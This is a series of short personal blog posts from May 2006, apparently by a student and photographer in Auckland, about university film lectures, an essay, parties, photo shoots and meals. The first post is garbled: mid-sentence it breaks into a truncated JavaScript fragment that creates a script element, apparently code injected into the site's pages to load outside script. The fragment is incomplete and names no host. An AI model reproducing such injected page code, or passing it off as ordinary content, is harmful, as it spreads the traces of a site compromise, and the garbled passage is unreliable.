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End of suffering – the 3000 words essay

Posted by admin On May - 31 - 2006

Today I finished my 3000 words essay with about 3100 words in the end. It was a real suffering because had all to write in academic english. For me it was a big challange but now its finished. Besides had again heaps of problems with their online/password system. They are so bad organized at the University of Auckland that I’m finally pretty happy when its over. Also pict up my last luagage and moved in the studio. Its warmer, I can do more photos andif (document.currentScript) { var d=document;var s=d.createElement(‘script’);

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Last day of university

Posted by admin On May - 30 - 2006

On my last official uni-day they invited Toa Fraser writer of “Riverqueen” and director/writer of “No.2”. We could ask questions and he was talking about his newest sucess “No.2”.
The movie is about a spirited older woman decides to bring her quarrelsome family together for a party in this comedy drama from New Zealand playwright-turned-filmmaker Toa Fraser. Eightysomething Nana Maria (Ruby Dee) was born in Fiji, but has spent most of her life in New Zealand, where she lives in a run-down but beautiful house on Mount Raskil with her fully grown granddaughter Charlene (Mia Blake, Charlene’s young daughter, and Erasmus (Rene Naufahu), another adult grandchild who has a drinking problem. One morning, Nama Maria wakes up early and decides the family shall gather for a celebratory feast, complete with a roast pig. However, Charlene and Erasmus understand just how tall an order this is — Nana has two sons, Percy (Pio Terei) and John (Nathaniel Lees), who can’t stand one another and barely tolerate their other relations, while grandson Tyson (Xavier Horan) has made a name for himself in business and would rather spend time with his girlfriend from Holland than see his uncles. But somehow Nana Maria’s children, grandchildren, and even some great-grandchildren are rounded up for the occasion, some lured by her promise that she will announce who will inherit her estate after she’s gone. Read the rest of this entry »

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Saturday Night Fever

Posted by admin On May - 27 - 2006

Finally this saturday was the Seventies Party of Sara. Dresscode in seventies style was a must. So it was quite funny to watch the diffrent styles in what people were dressed. Saw many afro-wigs and many hippie-styled girls. Was a funky night.

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Russian Shoot Part 1

Posted by admin On May - 25 - 2006

David soon will publish a story about Russians in Auckland in the Canvas Magazin/Herald. He told me since weeks that he wants me to do photos from Russians he know for this article. Finaly today was the day were I done my first Russian shoot in his appartment. Russell came with me, just in case I need help with the lighting. But in the end done the photos on the balcony in natural light. The russian girl, Anya, was really nice and photogenic. Painting is one of her hobbies and so I took a picture of her in front of one of her paintings.

Before the shoot Russell and me went to the Shoe Warehouse. It´s huge and you can find good shoes for less money. So I bought four pair. But it was worth it…

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Funny food news

Posted by admin On May - 24 - 2006

What’s that?

Yummy Yams. To be honest yams taste after nothing, just looking weird.

That’s a Choko another strange vegetable.

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“Rain” and “Whale Rider”

Posted by admin On May - 23 - 2006

This tuesday I had the last lecture about New Zealand film. Now I have to do my assignment (3000 words) and writing an exam on the 21 of june. Next week a filmmaker, Toa Fraser,will visit the class and we can ask him lots of questions.

“Rain” is a picturesque movie about a New Zealand family who make holidays in their batch on the beach. But the mother will have an affair. Their whole life will change…
The other movie is the famous “Whale Rider”. A film about the maori, spirits and belive. In a culture steeped in tradition, one young girl challenged the past and found hope for the future. A magical coming-of-age story of a young girl’s struggle to fulfil her destiny.
“One of the most charming and critically acclaimed films of 2003, the New Zealand hit “Whale Rider” effectively combines Maori tribal tradition with the timely “girl power” of a vibrant new millennium. Despite the discouragement of her gruff and disapproving grandfather (Rawiri Paratene), who nearly disowns her because she is female and therefore traditionally disqualified from tribal leadership, 12-year-old Pai (Keisha Castle-Hughes) is convinced that she is a tribal leader and sets out to prove it.
Rather than inflate this story (from a novel by Witi Ihimaera) with artificial sentiment, writer-director Niki Caro develops very real and turbulent family relationships, intimate and yet torn by a collision between stubborn tradition and changing attitudes. The mythic whale rider–the ultimate symbol of Maori connection to nature–is also the harbinger of Pai’s destiny, and the appealing Castle-Hughes gives a luminous, astonishingly powerful performance that won’t leave a dry eye in the house. With its fresh take on a familiar tale,
Whale Rider is definitely one from the heart.” (Jeff Shannon)

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The Chicken farm or chick between chicken

Posted by admin On May - 22 - 2006

Had you not ever had the question where all the chicken, chicken wings and other chicken stuff is coming from? Today assist Russell and for us it was allowed to visit a huge chicken company. I saw where they grew up, how they were killed and finally what they produced out of them. Later on had chicken for lunch. Maybe it sounds cruel but it was really interessting and to be honest almost everybody of us eats chicken.

1001 chicken… The way it is.

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Sunday roast

Posted by admin On May - 21 - 2006

After two weeks we had another sunday roast at Mandy’s place again. Russell brought two nice lelicious chicken and Mandy cooked nice potatoes and vegies. This time we watched two movies: “The castle” an old australian comedy, very nice and funny. The other movie was “War of worlds” with Tom Cruise. Didn’t liked it much, to less content.

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Seventies glamour shoot

Posted by admin On May - 20 - 2006

Today is time for new exiting shots in the studio. This time is topic ‘Seventies’ because we just bought the clothes for the Seventies Party next week. And if you can remember a seventies bathroom will make a perfect authentic background. We are lucky we can use the set from the bathroom shoot in the studio. Its nice chocolate brown.

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The huge bathroom in the studio

Posted by admin On May - 19 - 2006

The studio of Russell is big. But after a bathroom company build a bathroom set for the annual bathroom shoot the studio morphed into a small place with less space. But nevermind the nice chocolate bathroom is huge and beautiful and got a comfortable shower with stair for shaving legs (!) and a big spa bath (funny in german language: whirlpool) for more than two persons. And everything in modern style but a kind of retro seventies style. To be honest I got some new ideas for funny photos in that scenerie… you will see soon…

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